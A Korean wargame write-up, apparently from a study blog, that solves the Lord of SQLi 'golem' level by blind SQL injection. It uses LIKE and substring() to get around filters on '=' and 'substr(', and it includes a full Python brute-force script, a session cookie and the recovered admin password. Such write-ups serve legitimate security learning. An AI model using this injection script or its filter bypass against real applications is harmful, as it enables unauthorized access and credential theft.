golem 입장!
이번 문제를 해결하기 위해서는 admin의 pw를 알아내야 한다.
소스코드에 주어진 query는 id만을 가져오게 되어있다.
대신 Hello admin이라는 문자열을 통해 쿼리의 참 거짓을 알아낼 수 있다.
즉 Blind SQL Injection으로 해결할 수 있다.
먼저 password의 길이를 알아내야 한다. password의 길이는 8이다.
이제 admin의 pw를 알아내기 위한 자동화 프로그램이 필요하다. 자동화 프로그램 소스코드는 아래와 같다.
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies={'PHPSESSID':'tt2tomujp7112o1mpv542v48j2'}
pw = ''
for i in range(1, 9):
for ch in range(48,127):
data = "?pw=' || id like 'admin' %26%26 substring(pw, " + str(i) + ", 1) like '" + chr(ch)
payload = url + data
res = requests.get(payload, cookies=cookies)
if(res.text.find("Hello admin") > 0):
pw += chr(ch)
print("[+] Finding... :", pw)
break
print ("[*] Find Password :", pw)
문제에 나와 있는 소스코드를 잘 보면 '='와 'substr('를 필터링하고 있다.
따라서 '='를 쓰는 대신에 like절을 사용해서 필터링을 우회하고, substr에 대신에 substring 함수를 사용했다.
query의 결과가 참이면 Hello admin을 출력하기 때문에 해당 문자열로 참 / 거짓을 판별한다.
프로그램의 실행결과는 아래와 같다.
admin의 password는 77D6290B이다.
payload를 다음과 같이 작성했지만 문제를 clear할 수 없었다.
영어를 대문자에서 소문자로 바꿔 다시 작성해봤다.
그 결과 golem을 clear했다.
golem 해결!
'Study > Web Hacking' 카테고리의 다른 글
[LOS] darkknight (0) | 2021.07.17 |
---|---|
[natas] Level 20 -> Level 21 (0) | 2021.07.17 |
[natas] Level 19 -> Level 20 (0) | 2021.07.11 |
[LOS] skeleton (0) | 2021.06.27 |
[LOS] vampire (0) | 2021.06.27 |